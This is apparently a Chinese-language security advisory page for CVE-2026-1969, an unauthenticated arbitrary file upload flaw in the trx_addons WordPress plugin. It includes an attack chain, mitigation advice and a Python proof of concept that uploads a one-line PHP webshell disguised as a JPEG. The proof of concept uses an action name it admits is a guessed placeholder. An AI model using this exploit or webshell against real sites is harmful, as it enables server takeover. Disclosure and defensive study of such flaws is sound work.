IPBUF安全漏洞报告
English
CVE-2026-1969 CVSS 5.3 中危

CVE-2026-1969: trx_addons插件任意文件上传漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-1969
漏洞类型
任意文件上传
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
trx_addons (WordPress Plugin)

相关标签

WordPress任意文件上传CVE-2026-1969Web安全无需认证

漏洞概述

trx_addons WordPress插件在2.38.5之前的版本中存在严重安全漏洞。该漏洞源于对CVE-2024-13448的不完整修复,导致插件在处理特定AJAX请求时未能正确校验文件类型。未经身份认证的远程攻击者可利用此缺陷,构造恶意数据包绕过服务器安全机制,上传任意恶意文件(如PHP Webshell)。成功利用该漏洞可能导致攻击者在服务器上执行任意代码,对系统完整性和可用性造成严重影响。

技术细节

该漏洞的具体技术细节在于trx_addons插件处理文件上传的AJAX动作逻辑中存在缺陷。虽然开发者试图通过增加验证逻辑来修复之前的CVE-2024-13448漏洞,但修复措施并不彻底,留下了可被绕过的验证盲区。攻击者可以向WordPress的`/wp-admin/admin-ajax.php`端点发送特制的POST请求,利用受影响的action参数触发上传功能。由于插件未对上传文件的MIME类型、扩展名或内容进行严格的白名单验证,攻击者可以上传伪装成合法图片的PHP脚本或其他可执行文件。由于CVSS向量显示无需用户交互(UI:N)且无需权限(PR:N),该漏洞极易被自动化工具利用。一旦文件上传成功,攻击者只需访问文件对应的URL即可触发恶意代码执行,从而从完整性破坏升级为远程代码执行(RCE),完全控制受影响的网站服务器。

攻击链分析

STEP 1
侦察
识别使用trx_addons插件且版本低于2.38.5的WordPress站点。
STEP 2
漏洞利用
构造恶意的POST请求发送至/wp-admin/admin-ajax.php,利用未修复的AJAX动作绕过文件类型验证。
STEP 3
文件上传
将包含恶意代码的文件(如PHP Webshell)上传至服务器可访问目录。
STEP 4
执行攻击
通过浏览器或工具访问上传的文件路径,执行系统命令或进一步控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): """ PoC for CVE-2026-1969: Unauthenticated Arbitrary File Upload """ upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload data for the vulnerable AJAX action # Note: The specific 'action' name depends on the plugin internals, usually 'trx_addons_upload_action' or similar. data = { 'action': 'trx_addons_upload_action' # Placeholder, replace with actual action name if known } # Malicious file to upload (PHP Webshell) files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg') } try: response = requests.post(upload_url, data=data, files=files, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! File uploaded.") print(f"[+] Check uploaded file at: {target_url}/wp-content/uploads/shell.php?cmd=whoami") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" exploit(target)

影响范围

trx_addons < 2.38.5

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件或通过服务器配置(如Nginx/Apache规则)禁止对wp-admin/admin-ajax.php的特定非必要POST请求,并严格检查上传目录的脚本执行权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表